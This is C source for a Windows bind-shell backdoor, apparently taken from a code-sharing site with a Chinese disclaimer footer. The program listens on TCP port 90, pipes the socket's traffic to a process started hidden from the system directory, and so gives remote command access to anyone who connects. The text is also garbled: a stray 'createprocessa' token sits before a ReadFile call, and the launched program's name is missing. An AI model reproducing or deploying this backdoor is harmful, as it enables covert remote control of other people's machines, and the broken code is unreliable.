#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")
#define PORT 90
SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
u_char varA,varB;
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
    SECURITY_ATTRIBUTES pipeattr;
    DWORD nByteToWrite, nByteWritten;
    char recv_buff[1024];
    pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
    pipeattr.lpSecurityDescriptor = NULL;
    pipeattr.bInheritHandle = TRUE;
    CreatePipe(&hReadPipe,
                &hWriteFile,
                &pipeattr,
                0);
    varA = 1;
    while(true)
    {
        Sleep(250);
        nByteToWrite = recv(ClientSocket,recv_buff,1024,0);
        WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL);
    }
    return 0;
}
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
    SECURITY_ATTRIBUTES pipeattr;
    DWORD len;
    char send_buff[25000];
    pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
    pipeattr.lpSecurityDescriptor = NULL;
    pipeattr.bInheritHandle = TRUE;
    CreatePipe(&hReadFile,&hWritePipe,&pipeattr,0);
    varB = 1;
    while (true)
    {
createprocessa        ReadFile(hReadFile,send_buff,25000,&len,NULL);
        send(ClientSocket,send_buff,len,0);
    }
    return 0;
}
void Enter(void)
{
    WSADATA WSAData;
    struct sockaddr_in RemoteAddr;
    DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
    OSVERSIONINFO osvi;
    PROCESS_INFORMATION processinfo;
    STARTUPINFO startinfo;
    WSAStartup(MAKEWORD(2,2),&WSAData);
    ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    RemoteAddr.sin_family = AF_INET;
    RemoteAddr.sin_port = htons(PORT);
    RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
    bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
    listen(ServerSocket, 5);
    varA = 0;
    varB = 0;
    CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
    CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
    do{
        Sleep(250);
    }while((varA || varB) == 0);
    GetStartupInfo(&startinfo);
    startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    startinfo.hStdInput = hReadPipe;
    startinfo.hStdError = hWritePipe;
    startinfo.hStdOutput = hWritePipe;
    startinfo.wShowWindow = SW_HIDE;
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    GetVersionEx(&osvi);
    char szAPP[256];
    GetSystemDirectory(szAPP,MAX_PATH+1);
    if(osvi.dwPlatformId == 2)
    {
        strcat(szAPP,"\\");
        if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo,&processinfo) == 0)
        {
   
            return;
        }
    }
    else
    {
        strcat(szAPP,"\\");
        CreateProcess(NULL,szAPP,0,0,true,0,0,0,&startinfo,&processinfo);
    }
    while (true)
    {
        ClientSocket = accept(ServerSocket, NULL, NULL);
        Sleep(250);
    }
}

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。